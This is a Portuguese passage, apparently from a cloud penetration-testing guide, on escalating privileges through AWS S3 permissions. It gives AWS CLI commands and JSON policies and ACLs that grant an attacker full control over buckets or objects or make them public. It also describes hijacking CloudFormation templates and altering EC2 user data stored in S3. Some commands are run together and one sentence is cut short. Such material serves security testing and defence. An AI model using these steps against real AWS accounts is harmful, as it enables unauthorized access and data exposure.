Um atacante com essas permissões sobre buckets interessantes pode ser capaz de se apropriar de recursos e escalar privilégios.
Por exemplo, um atacante com essas permissões sobre um bucket de cloudformation chamado "cf-templates-nohnwfax6a6i-us-east-1" poderá se apropriar da implantação. O acesso pode ser concedido com a seguinte política:
E a invasão é possível porque há uma pequena janela de tempo a partir do momento em que o modelo é carregado no bucket até o momento em que o modelo é implantado. Um atacante pode simplesmente criar uma função lambda em sua conta que será acionada quando uma notificação de bucket for enviada, e sequestrar o conteúdo desse bucket.
Essas são as permissões para obter e fazer upload de objetos no S3. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para armazenar arquivos de configuração.
Um atacante com acesso de leitura a eles pode encontrar informações sensíveis neles.
Um atacante com acesso de gravação a eles poderia modificar os dados para abusar de algum serviço e tentar escalar privilégios.
Aqui estão alguns exemplos:
Se uma instância EC2 estiver armazenando os dados do usuário em um bucket S3, um atacante poderia modificá-lo para executar código arbitrário dentro da instância EC2.
s3:PutBucketPolicy
Um atacante, que precisa ser da mesma conta, se não o erro O método especificado não é permitido será acionado, com essa permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s) permitindo-lhe ler, gravar, modificar, excluir e expor buckets.
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
Um atacante poderia abusar dessas permissões para conceder a ele mais acesso sobre buckets específicos.
Note que o atacante não precisa ser da mesma conta. Além disso, o acesso de escrita.
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Um atacante poderia abusar dessas permissões para conceder a ele mais acesso sobre objetos específicos dentro de buckets.
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Um invasor com esses privilégios é esperado ser capaz de colocar um Acl em uma versão específica do objeto